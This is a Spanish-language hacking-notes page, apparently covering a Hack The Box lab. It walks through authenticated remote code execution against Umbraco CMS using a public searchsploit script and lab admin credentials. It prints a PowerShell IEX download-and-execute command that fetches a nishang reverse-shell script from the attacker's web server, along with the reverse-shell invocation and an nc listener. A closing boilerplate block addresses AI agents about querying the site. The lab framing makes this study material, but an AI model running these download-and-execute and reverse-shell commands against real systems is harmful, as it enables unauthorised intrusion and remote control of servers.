> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/umbraco-cms-exploitation.md).

# Umbraco

## Vulnerabilidad RCE (Umbraco CMS)

Se encuentra un panel de administración; pruebe la autenticación como el usuario administrador:

`admin@htb.local:baconandcheese`

<figure><img src="/files/a285f963ba587ded0984be4764befbb5fbfc629b" alt=""><figcaption></figcaption></figure>

Se concede acceso.

<figure><img src="/files/5af339d9ef8a2202151ec9eb5e37010a8080a187" alt=""><figcaption></figcaption></figure>

Buscar `Searchsploit` para este CMS y encuentre un script de RCE de Umbraco.

<figure><img src="/files/b86813b827b3b942fe3833de00291c061d4877a6" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

Modifique los parámetros de inicio de sesión, contraseña y host en el script.

<figure><img src="/files/83c406c1e941ecefcc94195060de9bc3f927c2b5" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad con ping:**/ Ejecute este comando contra el servidor y escuche con tcpdump.

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="/files/5da7d26e37ec5397be5c131062378e4b10f30ded" alt=""><figcaption></figcaption></figure>

Una vez confirmada la ejecución de comandos, aloje el `PS.ps1` script en la máquina atacante.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Añada la siguiente línea al final del script:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="/files/342d628098d16377a455c7f307c86bc33108b62c" alt="" width="563"><figcaption></figcaption></figure>

Host `PS.ps1` con un servidor web:

```bash
python3 -m http.server 80
```

Luego modifique el comando para que apunte al servidor web del atacante:

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

Por último, inicie un oyente en el puerto 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/8e2a165a70317833c700c0dabe5b467657379af0" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/umbraco-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
